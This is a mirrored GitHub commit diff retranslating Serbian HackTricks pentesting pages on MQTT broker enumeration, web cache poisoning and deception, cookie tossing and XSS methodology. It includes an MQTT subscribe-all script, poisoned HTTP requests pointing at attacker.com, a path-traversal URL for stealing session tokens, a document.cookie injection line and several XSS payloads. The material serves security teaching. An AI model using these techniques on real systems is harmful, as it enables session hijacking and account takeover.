mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/1883-pentesting-mqtt-mosqui
This commit is contained in:
parent
1f25c8b4f3
commit
c34912145c
@ -13,7 +13,7 @@ PORT STATE SERVICE REASON
|
||||
```
|
||||
## Inspecting the traffic
|
||||
|
||||
Kada MQTT brokeri prime **CONNECT** paket, šalje se **CONNACK** paket nazad. Ovaj paket sadrži povratni kod koji je ključan za razumevanje statusa veze. Povratni kod **0x00** znači da su akreditivi prihvaćeni, što označava uspešnu vezu. S druge strane, povratni kod **0x05** signalizira da su akreditivi nevažeći, čime se sprečava veza.
|
||||
Kada MQTT broker primi **CONNECT** paket, šalje se **CONNACK** paket nazad. Ovaj paket sadrži kod povratne informacije koji je ključan za razumevanje statusa veze. Kod povratne informacije **0x00** znači da su akreditivi prihvaćeni, što označava uspešnu vezu. S druge strane, kod povratne informacije **0x05** signalizira da su akreditivi nevažeći, čime se sprečava veza.
|
||||
|
||||
Na primer, ako broker odbije vezu zbog nevažećih akreditiva, scenario bi izgledao ovako:
|
||||
```
|
||||
@ -44,7 +44,7 @@ apt-get install mosquitto mosquitto-clients
|
||||
mosquitto_sub -t 'test/topic' -v #Subscribe to 'test/topic'
|
||||
mosquitto_sub -h <host-ip> -t "#" -v #Subscribe to ALL topics.
|
||||
```
|
||||
Ili možete **pokrenuti ovaj kod da pokušate da se povežete na MQTT servis bez autentifikacije, prijavite se na svaku temu i slušate ih**:
|
||||
Ili možete **pokrenuti ovaj kod da pokušate da se povežete na MQTT servis bez autentifikacije, pretplatite se na svaku temu i slušate ih**:
|
||||
```python
|
||||
#This is a modified version of https://github.com/Warflop/IOT-MQTT-Exploit/blob/master/mqtt.py
|
||||
import paho.mqtt.client as mqtt
|
||||
@ -73,41 +73,37 @@ client.loop_start()
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
## Više informacija
|
||||
### Model objavljivanja/pretplate <a href="#b667" id="b667"></a>
|
||||
|
||||
from here: [https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b](https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b)
|
||||
Model objavljivanja/pretplate se sastoji od:
|
||||
|
||||
### Publish/Subscribe obrazac <a href="#b667" id="b667"></a>
|
||||
|
||||
Model publish/subscribe se sastoji od:
|
||||
|
||||
- **Publisher**: objavljuje poruku na jednoj (ili više) tema u brokeru.
|
||||
- **Subscriber**: pretplaćuje se na jednu (ili više) tema u brokeru i prima sve poruke koje šalje publisher.
|
||||
- **Broker**: usmerava sve poruke od publisher-a do subscriber-a.
|
||||
- **Tema**: sastoji se od jednog ili više nivoa koji su odvojeni kosem crtom (npr., /smartshouse/livingroom/temperature).
|
||||
- **Objavitelj**: objavljuje poruku na jednoj (ili više) tema u brokeru.
|
||||
- **Pretplatnik**: pretplaćuje se na jednu (ili više) tema u brokeru i prima sve poruke koje šalje objavitelj.
|
||||
- **Broker**: usmerava sve poruke od objavitelja do pretplatnika.
|
||||
- **Tema**: sastoji se od jednog ili više nivoa koji su odvojeni kose crte (npr., /smartshouse/livingroom/temperature).
|
||||
|
||||
### Format paketa <a href="#f15a" id="f15a"></a>
|
||||
|
||||
Svaki MQTT paket sadrži fiksni header (Slika 02).Slika 02: Fiksni header
|
||||
Svaki MQTT paket sadrži fiksni zaglavlje (Slika 02).Slika 02: Fiksni zaglavlje
|
||||
|
||||

|
||||
|
||||
### Tipovi paketa
|
||||
|
||||
- CONNECT (1): Inicira klijent da zatraži vezu sa serverom.
|
||||
- CONNACK (2): Serverovo potvrđivanje uspešne veze.
|
||||
- CONNECT (1): Inicira ga klijent da zatraži vezu sa serverom.
|
||||
- CONNACK (2): Potvrda servera o uspešnoj vezi.
|
||||
- PUBLISH (3): Koristi se za slanje poruke od klijenta do servera ili obrnuto.
|
||||
- PUBACK (4): Potvrda PUBLISH paketa.
|
||||
- PUBREC (5): Deo protokola za isporuku poruka koji osigurava da je poruka primljena.
|
||||
- PUBREL (6): Dalje osiguranje u isporuci poruka, označava oslobađanje poruke.
|
||||
- PUBCOMP (7): Poslednji deo protokola za isporuku poruka, označava završetak.
|
||||
- SUBSCRIBE (8): Zahtev klijenta da sluša poruke sa teme.
|
||||
- SUBACK (9): Serverovo potvrđivanje SUBSCRIBE zahteva.
|
||||
- SUBACK (9): Potvrda servera o SUBSCRIBE zahtevu.
|
||||
- UNSUBSCRIBE (10): Zahtev klijenta da prestane da prima poruke sa teme.
|
||||
- UNSUBACK (11): Serverov odgovor na UNSUBSCRIBE zahtev.
|
||||
- UNSUBACK (11): Odgovor servera na UNSUBSCRIBE zahtev.
|
||||
- PINGREQ (12): Poruka srca koju šalje klijent.
|
||||
- PINGRESP (13): Serverov odgovor na poruku srca.
|
||||
- DISCONNECT (14): Inicira klijent da prekine vezu.
|
||||
- PINGRESP (13): Odgovor servera na poruku srca.
|
||||
- DISCONNECT (14): Inicira ga klijent da prekine vezu.
|
||||
- Dve vrednosti, 0 i 15, su označene kao rezervisane i njihova upotreba je zabranjena.
|
||||
|
||||
## Shodan
|
||||
|
@ -15,9 +15,9 @@ Cache poisoning ima za cilj manipulaciju kešom na klijentskoj strani kako bi se
|
||||
|
||||
Izvršenje napada cache poisoning uključuje nekoliko koraka:
|
||||
|
||||
1. **Identifikacija neključenih ulaza**: Ovo su parametri koji, iako nisu potrebni da bi zahtev bio keširan, mogu promeniti odgovor koji server vraća. Identifikacija ovih ulaza je ključna jer se mogu iskoristiti za manipulaciju kešom.
|
||||
2. **Eksploatacija neključenih ulaza**: Nakon identifikacije neključenih ulaza, sledeći korak uključuje otkrivanje kako da se zloupotrebe ovi parametri kako bi se modifikovao odgovor servera na način koji koristi napadaču.
|
||||
3. **Osiguranje da je kontaminirani odgovor keširan**: Poslednji korak je osigurati da je manipulisan odgovor sačuvan u kešu. Na taj način, svaki korisnik koji pristupa pogođenoj stranici dok je keš kontaminiran, primiće kontaminirani odgovor.
|
||||
1. **Identifikacija Unkeyed Inputs**: Ovo su parametri koji, iako nisu potrebni da bi zahtev bio keširan, mogu promeniti odgovor koji server vraća. Identifikacija ovih ulaza je ključna jer se mogu iskoristiti za manipulaciju kešom.
|
||||
2. **Eksploatacija Unkeyed Inputs**: Nakon identifikacije unkeyed inputs, sledeći korak uključuje otkrivanje kako da se zloupotrebe ovi parametri kako bi se modifikovao odgovor servera na način koji koristi napadaču.
|
||||
3. **Osiguranje da je Kontaminirani Odgovor Keširan**: Poslednji korak je osigurati da je manipulisan odgovor sačuvan u kešu. Na taj način, svaki korisnik koji pristupa pogođenoj stranici dok je keš kontaminiran će primiti kontaminirani odgovor.
|
||||
|
||||
### Otkriće: Proverite HTTP zaglavlja
|
||||
|
||||
@ -35,7 +35,7 @@ cache-poisoning-to-dos.md
|
||||
|
||||
Međutim, imajte na umu da **ponekad ovi tipovi status kodova nisu keširani**, tako da ovaj test možda neće biti pouzdan.
|
||||
|
||||
### Otkriće: Identifikujte i procenite neključne ulaze
|
||||
### Otkriće: Identifikujte i procenite unkeyed inputs
|
||||
|
||||
Možete koristiti [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) da **brute-force-ujete parametre i zaglavlja** koja mogu **menjati odgovor stranice**. Na primer, stranica može koristiti zaglavlje `X-Forwarded-For` da označi klijentu da učita skriptu odatle:
|
||||
```html
|
||||
@ -47,7 +47,7 @@ Sa identifikovanim parametrom/hedrom proverite kako se **sanitizuje** i **gde**
|
||||
|
||||
### Dobijanje keširanog odgovora
|
||||
|
||||
Kada ste **identifikovali** **stranicu** koja može biti zloupotrebljena, koji **parametar**/**heder** koristiti i **kako** ga **zloupotrebiti**, potrebno je da dobijete stranicu keširanu. U zavisnosti od resursa koji pokušavate da dobijete u kešu, ovo može potrajati, možda ćete morati da pokušavate nekoliko sekundi.
|
||||
Kada identifikujete **stranicu** koja može biti zloupotrebljena, koji **parametar**/**heder** koristiti i **kako** ga **zloupotrebiti**, potrebno je da dobijete stranicu keširanu. U zavisnosti od resursa koji pokušavate da dobijete u kešu, ovo može potrajati, možda ćete morati da pokušavate nekoliko sekundi.
|
||||
|
||||
Heder **`X-Cache`** u odgovoru može biti veoma koristan jer može imati vrednost **`miss`** kada zahtev nije keširan i vrednost **`hit`** kada je keširan.\
|
||||
Heder **`Cache-Control`** je takođe zanimljiv da se zna da li se resurs kešira i kada će sledeći put biti keširan: `Cache-Control: public, max-age=1800`
|
||||
@ -71,15 +71,23 @@ X-Forwarded-Host: a."><script>alert(1)</script>"
|
||||
```
|
||||
_Napomena da će ovo otrovati zahtev za `/en?region=uk`, a ne za `/en`_
|
||||
|
||||
### Trovanje kešom za DoS
|
||||
### Trovanje keša za DoS
|
||||
|
||||
{{#ref}}
|
||||
cache-poisoning-to-dos.md
|
||||
{{#endref}}
|
||||
|
||||
### Korišćenje trovanja web kešom za iskorišćavanje ranjivosti u rukovanju kolačićima
|
||||
### Trovanje keša kroz CDN-ove
|
||||
|
||||
Kolačići se takođe mogu odraziti na odgovor stranice. Ako možete da ih zloupotrebite da izazovete XSS, na primer, mogli biste biti u mogućnosti da iskoristite XSS u nekoliko klijenata koji učitavaju zloćudni keš odgovor.
|
||||
U **[ovoj analizi](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** objašnjen je sledeći jednostavan scenario:
|
||||
|
||||
- CDN će keširati sve pod `/share/`
|
||||
- CDN NEĆE dekodirati niti normalizovati `%2F..%2F`, stoga se može koristiti kao **putanja za pristup drugim osetljivim lokacijama koje će biti keširane** kao što je `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
|
||||
- Web server ĆE dekodirati i normalizovati `%2F..%2F`, i odgovoriće sa `/api/auth/session`, koji **sadrži auth token**.
|
||||
|
||||
### Korišćenje trovanja web keša za iskorišćavanje ranjivosti u rukovanju kolačićima
|
||||
|
||||
Kolačići se takođe mogu odraziti na odgovoru stranice. Ako možete da ih iskoristite da izazovete XSS, na primer, mogli biste biti u mogućnosti da iskoristite XSS u nekoliko klijenata koji učitavaju zlonamerni keš odgovor.
|
||||
```html
|
||||
GET / HTTP/1.1
|
||||
Host: vulnerable.com
|
||||
@ -97,7 +105,7 @@ cache-poisoning-via-url-discrepancies.md
|
||||
|
||||
### Trovanje keša sa prolazom kroz putanju za krađu API ključa <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
[**Ovaj izveštaj objašnjava**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) kako je bilo moguće ukrasti OpenAI API ključ sa URL-om poput `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` jer će sve što odgovara `/share/*` biti keširano bez Cloudflare normalizacije URL-a, što je urađeno kada je zahtev stigao do veb servera.
|
||||
[**Ovaj izveštaj objašnjava**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) kako je bilo moguće ukrasti OpenAI API ključ sa URL-om poput `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` jer će sve što odgovara `/share/*` biti keširano bez Cloudflare normalizacije URL-a, što je urađeno kada je zahtev stigao do web servera.
|
||||
|
||||
Ovo je takođe bolje objašnjeno u:
|
||||
|
||||
@ -105,18 +113,18 @@ Ovo je takođe bolje objašnjeno u:
|
||||
cache-poisoning-via-url-discrepancies.md
|
||||
{{#endref}}
|
||||
|
||||
### Korišćenje više zaglavlja za iskorišćavanje ranjivosti trovanja veb keša <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
### Korišćenje više zaglavlja za iskorišćavanje ranjivosti trovanja web keša <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
Ponekad će vam biti potrebno da **iskoristite nekoliko neključenih ulaza** kako biste mogli da zloupotrebite keš. Na primer, možete pronaći **Open redirect** ako postavite `X-Forwarded-Host` na domen koji kontrolišete i `X-Forwarded-Scheme` na `http`. **Ako** **server** **prosledi** sve **HTTP** zahteve **na HTTPS** i koristi zaglavlje `X-Forwarded-Scheme` kao naziv domena za preusmeravanje. Možete kontrolisati gde je stranica usmerena preusmeravanjem.
|
||||
Ponekad ćete morati da **iskoristite nekoliko neključenih ulaza** kako biste mogli da zloupotrebite keš. Na primer, možete pronaći **Open redirect** ako postavite `X-Forwarded-Host` na domen koji kontrolišete i `X-Forwarded-Scheme` na `http`. **Ako** **server** **prosledi** sve **HTTP** zahteve **na HTTPS** i koristi zaglavlje `X-Forwarded-Scheme` kao naziv domena za preusmeravanje. Možete kontrolisati gde je stranica usmerena preusmeravanjem.
|
||||
```html
|
||||
GET /resources/js/tracking.js HTTP/1.1
|
||||
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
|
||||
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
|
||||
X-Forwarded-Scheme: http
|
||||
```
|
||||
### Iskorišćavanje sa ograničenim `Vary` zaglavljem
|
||||
### Iskorišćavanje sa ograničenim `Vary` header-om
|
||||
|
||||
Ako ste otkrili da se **`X-Host`** zaglavlje koristi kao **ime domena za učitavanje JS resursa** ali **`Vary`** zaglavlje u odgovoru ukazuje na **`User-Agent`**. Tada treba da pronađete način da izvučete User-Agent žrtve i otrovate keš koristeći taj korisnički agent:
|
||||
Ako ste otkrili da se **`X-Host`** header koristi kao **ime domena za učitavanje JS resursa**, ali **`Vary`** header u odgovoru ukazuje na **`User-Agent`**. Tada treba da pronađete način da eksfiltrirate User-Agent žrtve i otrovate keš koristeći taj korisnički agent:
|
||||
```html
|
||||
GET / HTTP/1.1
|
||||
Host: vulnerbale.net
|
||||
@ -125,7 +133,7 @@ X-Host: attacker.com
|
||||
```
|
||||
### Fat Get
|
||||
|
||||
Pošaljite GET zahtev sa zahtevom u URL-u i u telu. Ako veb server koristi onaj iz tela, ali server za keširanje kešira onaj iz URL-a, svako ko pristupi tom URL-u zapravo će koristiti parametar iz tela. Kao što je ranjivost koju je pronašao James Kettle na veb sajtu Github:
|
||||
Pošaljite GET zahtev sa zahtevom u URL-u i u telu. Ako veb server koristi onaj iz tela, ali server za keširanje kešira onaj iz URL-a, svako ko pristupi tom URL-u zapravo će koristiti parametar iz tela. Kao što je ranjivost koju je pronašao James Kettle na Github vebsajtu:
|
||||
```
|
||||
GET /contact/report-abuse?report=albinowax HTTP/1.1
|
||||
Host: github.com
|
||||
@ -138,7 +146,7 @@ There it a portswigger lab about this: [https://portswigger.net/web-security/web
|
||||
|
||||
### Parameter Cloacking
|
||||
|
||||
Na primer, moguće je odvojiti **parametre** na ruby serverima koristeći karakter **`;`** umesto **`&`**. Ovo se može koristiti za stavljanje vrednosti parametara bez ključeva unutar onih sa ključevima i zloupotrebu istih.
|
||||
Na primer, moguće je odvojiti **parametre** na ruby serverima koristeći karakter **`;`** umesto **`&`**. Ovo se može koristiti za stavljanje vrednosti neključenih parametara unutar ključnih i njihovo zloupotrebljavanje.
|
||||
|
||||
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
|
||||
|
||||
@ -164,19 +172,19 @@ Slanje loše vrednosti u headeru content-type izazvalo je 405 keširani odgovor.
|
||||
|
||||
### GitLab + GCP CP-DoS
|
||||
|
||||
GitLab koristi GCP kante za skladištenje statičkog sadržaja. **GCP Buckets** podržavaju **header `x-http-method-override`**. Tako je bilo moguće poslati header `x-http-method-override: HEAD` i otrovati keš da vrati prazan odgovor. Takođe je mogla podržati metodu `PURGE`.
|
||||
GitLab koristi GCP kante za skladištenje statičkog sadržaja. **GCP Kante** podržavaju **header `x-http-method-override`**. Tako je bilo moguće poslati header `x-http-method-override: HEAD` i otrovati keš da vrati prazan odgovor. Takođe je mogla podržati metodu `PURGE`.
|
||||
|
||||
### Rack Middleware (Ruby on Rails)
|
||||
|
||||
U Ruby on Rails aplikacijama, Rack middleware se često koristi. Svrha Rack koda je da uzme vrednost **`x-forwarded-scheme`** headera i postavi je kao shemu zahteva. Kada se pošalje header `x-forwarded-scheme: http`, dolazi do 301 preusmeravanja na istu lokaciju, potencijalno uzrokujući Denial of Service (DoS) za taj resurs. Pored toga, aplikacija može prepoznati `X-forwarded-host` header i preusmeriti korisnike na određeni host. Ovo ponašanje može dovesti do učitavanja JavaScript datoteka sa servera napadača, što predstavlja sigurnosni rizik.
|
||||
U Ruby on Rails aplikacijama, Rack middleware se često koristi. Svrha Rack koda je da uzme vrednost **`x-forwarded-scheme`** headera i postavi je kao shemu zahteva. Kada se pošalje header `x-forwarded-scheme: http`, dolazi do 301 preusmeravanja na istu lokaciju, što može izazvati Denial of Service (DoS) za taj resurs. Pored toga, aplikacija može priznati `X-forwarded-host` header i preusmeriti korisnike na određeni host. Ovo ponašanje može dovesti do učitavanja JavaScript datoteka sa servera napadača, što predstavlja sigurnosni rizik.
|
||||
|
||||
### 403 and Storage Buckets
|
||||
|
||||
Cloudflare je ranije keširao 403 odgovore. Pokušaj pristupa S3 ili Azure Storage Blobs sa netačnim Authorization headerima rezultirao bi 403 odgovorom koji je keširan. Iako je Cloudflare prestao sa keširanjem 403 odgovora, ovo ponašanje može i dalje biti prisutno u drugim proxy servisima.
|
||||
Cloudflare je ranije keširao 403 odgovore. Pokušaj pristupa S3 ili Azure Storage Blobs sa pogrešnim Authorization headerima rezultirao bi 403 odgovorom koji je keširan. Iako je Cloudflare prestao sa keširanjem 403 odgovora, ovo ponašanje može i dalje biti prisutno u drugim proxy servisima.
|
||||
|
||||
### Injecting Keyed Parameters
|
||||
|
||||
Keševi često uključuju specifične GET parametre u ključ keša. Na primer, Fastly's Varnish je keširao `size` parametar u zahtevima. Međutim, ako je URL-enkodirana verzija parametra (npr. `siz%65`) takođe poslata sa netačnom vrednošću, ključ keša bi bio konstruisan koristeći ispravni `size` parametar. Ipak, backend bi obradio vrednost u URL-enkodiranom parametru. URL-enkodiranje drugog `size` parametra dovelo je do njegovog izostavljanja od strane keša, ali njegove upotrebe od strane backend-a. Dodeljivanje vrednosti 0 ovom parametru rezultiralo je keširanim 400 Bad Request greškom.
|
||||
Keševi često uključuju specifične GET parametre u ključ keša. Na primer, Fastly's Varnish je keširao `size` parametar u zahtevima. Međutim, ako je URL-enkodirana verzija parametra (npr. `siz%65`) takođe poslata sa pogrešnom vrednošću, ključ keša bi bio konstruisan koristeći ispravni `size` parametar. Ipak, backend bi obradio vrednost u URL-enkodiranom parametru. URL-enkodiranje drugog `size` parametra dovelo je do njegovog izostavljanja od strane keša, ali njegove upotrebe od strane backend-a. Dodeljivanje vrednosti 0 ovom parametru rezultiralo je keširanim 400 Bad Request greškom.
|
||||
|
||||
### User Agent Rules
|
||||
|
||||
@ -209,7 +217,7 @@ Još jedan vrlo jasan primer može se naći u ovom izveštaju: [https://hackeron
|
||||
U primeru se objašnjava da ako učitate nepostojeću stranicu kao što je _http://www.example.com/home.php/non-existent.css_, sadržaj _http://www.example.com/home.php_ (**sa osetljivim informacijama korisnika**) će biti vraćen i keš server će sačuvati rezultat.\
|
||||
Zatim, **napadač** može pristupiti _http://www.example.com/home.php/non-existent.css_ u svom pretraživaču i posmatrati **povjerljive informacije** korisnika koji su prethodno pristupili.
|
||||
|
||||
Napomena da bi **cache proxy** trebao biti **konfiguran** da **kešira** datoteke **na osnovu** **ekstenzije** datoteke (_.css_) a ne na osnovu content-type. U primeru _http://www.example.com/home.php/non-existent.css_ će imati `text/html` content-type umesto `text/css` mime tipa (što je očekivano za _.css_ datoteku).
|
||||
Imajte na umu da bi **keš proxy** trebao biti **konfiguran** da **kešira** datoteke **na osnovu** **ekstenzije** datoteke (_.css_) a ne na osnovu content-type. U primeru _http://www.example.com/home.php/non-existent.css_ će imati `text/html` content-type umesto `text/css` mime tipa (što je očekivano za _.css_ datoteku).
|
||||
|
||||
Saznajte ovde kako izvesti [Cache Deceptions napade zloupotrebom HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
|
||||
|
||||
|
@ -4,9 +4,9 @@
|
||||
|
||||
### Description
|
||||
|
||||
Ako napadač može **kontrolisati poddomen ili domen kompanije ili pronađe XSS u poddomeni**, moći će da izvede ovaj napad.
|
||||
Ako napadač može **kontrolisati poddomen ili domen kompanije ili pronađe XSS u poddomeni**, biće u mogućnosti da izvede ovaj napad.
|
||||
|
||||
Kao što je navedeno u sekciji Hacking Cookies, kada je **kolačić postavljen na domen (specifikujući ga), koristiće se u domenu i poddomenima.**
|
||||
Kao što je navedeno u sekciji Hacking Cookies, kada se **kolačić postavi na domen (specifikujući ga), koristiće se u domenu i poddomenima.**
|
||||
|
||||
> [!CAUTION]
|
||||
> Stoga, **napadač će moći da postavi specifičan kolačić na domen i poddomene radeći nešto poput** `document.cookie="session=1234; Path=/app/login; domain=.example.com"`
|
||||
@ -14,14 +14,15 @@ Kao što je navedeno u sekciji Hacking Cookies, kada je **kolačić postavljen n
|
||||
Ovo može biti opasno jer napadač može:
|
||||
|
||||
- **Fiksirati kolačić žrtve na napadačev račun**, tako da ako korisnik ne primeti, **izvršiće radnje na napadačevom računu** i napadač može dobiti neke zanimljive informacije (proveriti istoriju pretraga korisnika na platformi, žrtva može postaviti svoju kreditnu karticu na račun...)
|
||||
- Ako se **kolačić ne menja nakon prijavljivanja**, napadač može samo **fiksirati kolačić (session-fixation)**, čekati dok se žrtva prijavi i zatim **iskoristiti taj kolačić da se prijavi kao žrtva**.
|
||||
- Primer ovoga [može se naći ovde](https://snyk.io/articles/hijacking-oauth-flows-via-cookie-tossing/) gde je napadač postavio svoj kolačić u specifičnim sekcijama koje će žrtva koristiti za autorizaciju **pristupa svojim git repozitorijumima, ali sa napadačevog računa** jer će postavljati svoje kolačiće na potrebne krajnje tačke.
|
||||
- Ako se **kolačić ne menja nakon prijavljivanja**, napadač može samo **fiksirati kolačić (session-fixation)**, čekati da se žrtva prijavi i zatim **koristiti taj kolačić da se prijavi kao žrtva**.
|
||||
- Ponekad, čak i ako se kolačići sesije menjaju, napadač koristi prethodni i takođe će dobiti novi.
|
||||
- Ako **kolačić postavlja neku početnu vrednost** (kao u flasku gde **kolačić** može **postaviti** **CSRF token** sesije i ova vrednost će se održati nakon što se žrtva prijavi), **napadač može postaviti ovu poznatu vrednost i zatim je zloupotrebiti** (u tom scenariju, napadač može naterati korisnika da izvrši CSRF zahtev jer zna CSRF token).
|
||||
- Baš kao što postavlja vrednost, napadač bi takođe mogao dobiti neautentifikovani kolačić generisan od strane servera, dobiti CSRF token iz njega i iskoristiti ga.
|
||||
- Ako **kolačić postavlja neku inicijalnu vrednost** (kao u flasku gde **kolačić** može **postaviti** **CSRF token** sesije i ova vrednost će se održati nakon što se žrtva prijavi), **napadač može postaviti ovu poznatu vrednost i zatim je zloupotrebiti** (u tom scenariju, napadač može naterati korisnika da izvrši CSRF zahtev jer zna CSRF token).
|
||||
- Baš kao što postavlja vrednost, napadač bi takođe mogao dobiti neautentifikovani kolačić generisan od strane servera, dobiti CSRF token iz njega i koristiti ga.
|
||||
|
||||
### Cookie Order
|
||||
|
||||
Kada pregledač primi dva kolačića sa istim imenom **delimično utičući na istu oblast** (domen, poddomeni i putanja), **pregledač će poslati obe vrednosti kolačića** kada su obe važeće za zahtev.
|
||||
Kada pregledač primi dva kolačića sa istim imenom **delimično utičući na istu oblast** (domen, poddomeni i putanja), **pregledač će poslati obe vrednosti kolačića** kada su oba validna za zahtev.
|
||||
|
||||
U zavisnosti od toga ko ima **najspecifičniju putanju** ili koji je **najstariji**, pregledač će **prvo postaviti vrednost kolačića** a zatim vrednost drugog kao u: `Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;`
|
||||
|
||||
@ -32,9 +33,9 @@ Većina **vеб сајтова ће користити само прву вре
|
||||
|
||||
### Protection Bypass
|
||||
|
||||
Moguća zaštita protiv ovog napada bi bila da **web server ne prihvata zahteve sa dva kolačića istog imena ali sa dva različita vrednosti**.
|
||||
Moguća zaštita protiv ovog napada bi bila da **web server ne prihvata zahteve sa dva kolačića sa istim imenom ali sa dva različita vrednosti**.
|
||||
|
||||
Da bi zaobišao scenario u kojem napadač postavlja kolačić nakon što je žrtvi već dodeljen kolačić, napadač bi mogao izazvati **kolačić prelivanje** i zatim, kada se **legitiman kolačić obriše, postaviti zlonamerni**.
|
||||
Da bi zaobišao scenario u kojem napadač postavlja kolačić nakon što je žrtvi već dodeljen kolačić, napadač bi mogao izazvati **kolačić overflow** i zatim, kada se **legitiman kolačić obriše, postaviti zlonamerni**.
|
||||
|
||||
{{#ref}}
|
||||
cookie-jar-overflow.md
|
||||
|
@ -3,8 +3,8 @@
|
||||
## Metodologija
|
||||
|
||||
1. Proverite da li se **bilo koja vrednost koju kontrolišete** (_parametri_, _putanja_, _zaglavlja_?, _kolačići_?) **odražava** u HTML-u ili se **koristi** od strane **JS** koda.
|
||||
2. **Pronađite kontekst** u kojem se odražava/koristi.
|
||||
3. Ako je **odraženo**
|
||||
2. **Pronađite kontekst** gde se odražava/koristi.
|
||||
3. Ako je **odražano**
|
||||
1. Proverite **koje simbole možete koristiti** i u zavisnosti od toga, pripremite payload:
|
||||
1. U **sirovom HTML-u**:
|
||||
1. Možete li kreirati nove HTML tagove?
|
||||
@ -33,7 +33,7 @@ Kada radite na složenom XSS-u, možda će vam biti zanimljivo da saznate o:
|
||||
debugging-client-side-js.md
|
||||
{{#endref}}
|
||||
|
||||
## Odrasle vrednosti
|
||||
## Odražene vrednosti
|
||||
|
||||
Da biste uspešno iskoristili XSS, prva stvar koju treba da pronađete je **vrednost koju kontrolišete koja se odražava** na veb stranici.
|
||||
|
||||
@ -45,7 +45,7 @@ Da biste uspešno iskoristili XSS, prva stvar koju treba da pronađete je **vred
|
||||
|
||||
Kada pokušavate da iskoristite XSS, prva stvar koju treba da znate je **gde se vaš ulaz odražava**. U zavisnosti od konteksta, moći ćete da izvršite proizvoljan JS kod na različite načine.
|
||||
|
||||
### Sirovi HTML
|
||||
### Sirov HTML
|
||||
|
||||
Ako se vaš ulaz **odražava na sirovom HTML** stranici, moraćete da zloupotrebite neki **HTML tag** kako biste izvršili JS kod: `<img , <iframe , <svg , <script` ... ovo su samo neki od mnogih mogućih HTML tagova koje možete koristiti.\
|
||||
Takođe, imajte na umu [Client Side Template Injection](../client-side-template-injection-csti.md).
|
||||
@ -56,8 +56,8 @@ Ako se vaš ulaz odražava unutar vrednosti atributa taga, mogli biste pokušati
|
||||
|
||||
1. Da **pobegnete iz atributa i iz taga** (onda ćete biti u sirovom HTML-u) i kreirate novi HTML tag za zloupotrebu: `"><img [...]`
|
||||
2. Ako **možete pobjeći iz atributa, ali ne i iz taga** (`>` je kodiran ili obrisan), u zavisnosti od taga mogli biste **kreirati događaj** koji izvršava JS kod: `" autofocus onfocus=alert(1) x="`
|
||||
3. Ako **ne možete pobjeći iz atributa** (`"` je kodiran ili obrisan), onda u zavisnosti od **koji atribut** se vaša vrednost odražava **ako kontrolišete celu vrednost ili samo deo** moći ćete da zloupotrebite. Na **primer**, ako kontrolišete događaj kao što je `onclick=`, moći ćete da ga naterate da izvrši proizvoljan kod kada se klikne. Još jedan zanimljiv **primer** je atribut `href`, gde možete koristiti `javascript:` protokol za izvršavanje proizvoljnog koda: **`href="javascript:alert(1)"`**
|
||||
4. Ako se vaš ulaz odražava unutar "**neeksploatabilnih tagova**", mogli biste pokušati trik sa **`accesskey`** da zloupotrebite ranjivost (biće vam potrebna neka vrsta socijalnog inženjeringa da biste to iskoristili): **`" accesskey="x" onclick="alert(1)" x="**
|
||||
3. Ako **ne možete pobjeći iz atributa** (`"` se kodira ili briše), onda u zavisnosti od **kojeg atributa** se vaša vrednost odražava **ako kontrolišete celu vrednost ili samo deo**, moći ćete da je zloupotrebite. Na **primer**, ako kontrolišete događaj kao što je `onclick=`, moći ćete da ga naterate da izvrši proizvoljan kod kada se klikne. Još jedan zanimljiv **primer** je atribut `href`, gde možete koristiti `javascript:` protokol za izvršavanje proizvoljnog koda: **`href="javascript:alert(1)"`**
|
||||
4. Ako se vaš ulaz odražava unutar "**neiskoristivih tagova**", mogli biste pokušati trik sa **`accesskey`** da zloupotrebite ranjivost (biće vam potrebna neka vrsta socijalnog inženjeringa da biste to iskoristili): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Čudan primer Angular-a koji izvršava XSS ako kontrolišete ime klase:
|
||||
```html
|
||||
@ -83,8 +83,8 @@ alert(1)
|
||||
```
|
||||
#### Javascript Hoisting
|
||||
|
||||
Javascript Hoisting se odnosi na mogućnost da **deklarirate funkcije, promenljive ili klase nakon što su korišćene, tako da možete iskoristiti scenarije gde XSS koristi nedeklarisane promenljive ili funkcije.**\
|
||||
**Pogledajte sledeću stranicu za više informacija:**
|
||||
Javascript Hoisting se odnosi na mogućnost da **deklarirate funkcije, promenljive ili klase nakon što su korišćene kako biste mogli da iskoristite scenarije gde XSS koristi nedeklarisane promenljive ili funkcije.**\
|
||||
**Proverite sledeću stranicu za više informacija:**
|
||||
|
||||
{{#ref}}
|
||||
js-hoisting.md
|
||||
@ -116,7 +116,7 @@ Možete takođe pokušati da **pokrenete Javascript funkcije** direktno: `obj.sa
|
||||
|
||||
